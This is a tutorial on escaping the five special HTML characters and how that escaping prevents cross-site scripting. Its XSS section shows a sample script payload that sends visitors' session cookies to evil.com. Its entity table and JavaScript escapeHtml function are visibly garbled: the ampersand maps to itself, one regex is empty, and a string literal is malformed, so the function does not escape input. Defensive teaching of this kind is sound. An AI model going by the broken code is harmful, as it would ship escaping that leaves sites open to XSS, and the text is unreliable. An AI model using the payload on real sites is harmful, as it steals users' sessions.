How to Escape HTML Characters Safely

Five characters have special meaning in HTML. Put them in page content without escaping them, and your page either breaks visually or — if the content came from user input — creates a cross-site scripting vulnerability. The rules are simple and the consequences of ignoring them are not.

The five characters that need escaping

CharacterEscaped formWhy
&&Starts HTML entities — must be escaped first
<&lt;Starts tags — parser sees it as markup
>&gt;Closes tags — usually safe unescaped but best practice to escape
"&quot;Closes double-quoted attribute values
'&#39;Closes single-quoted attribute values

The ampersand must always be escaped first. If you escape < to &lt; and then escape &, you turn &lt; into &amp;lt; — which displays as the literal text &lt; instead of the less-than symbol you intended.

Escaping in code

Every server-side language has a built-in HTML escaping function. Use it:

# Python
from html import escape
safe = escape(user_input)  # handles all five characters correctly

# JavaScript (browser)
function escapeHtml(str) {
  return str
    .replace(/&/g, '&')   // must be first
    .replace(//g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''');
}

// PHP
$safe = htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');

// Ruby (Rails)
safe = CGI.escapeHTML(input)

The XSS connection

Cross-site scripting (XSS) is what happens when user-controlled content appears in an HTML page without escaping. Classic attack: a user submits <script>document.location='https://evil.com?c='+document.cookie</script> as a comment. The server stores it. The page renders it without escaping. Every visitor to that page sends their session cookie to the attacker.

Escaping is the first line of defence. It makes the injected <script> tag display as literal text rather than being interpreted as HTML. A properly escaped output is safe regardless of what the user submitted.

Framework escape-by-default

React, Vue, Angular, Django templates, Jinja2, Rails ERB, and most modern templating systems escape output by default. The danger is the deliberate escape hatch: React's dangerouslySetInnerHTML, Vue's v-html, Django's mark_safe(), Jinja2's | safe filter. These bypass escaping — only use them when you control the content completely (never with user input).

Don't trust sanitisation alone. Filtering or blocking "dangerous" input is a defence-in-depth measure, not a replacement for escaping output. Escaping happens at the right place — at the point where data enters an HTML context. Filtering is incomplete — there are always edge cases and bypass techniques.

Context matters

HTML attribute values, URL parameters, JavaScript strings, and CSS values each require different escaping rules. The HTML escaping described here is for HTML text content and attribute values. Content going into a <script> tag or a style attribute needs additional escaping appropriate to those contexts. A properly structured template engine handles context-aware escaping automatically.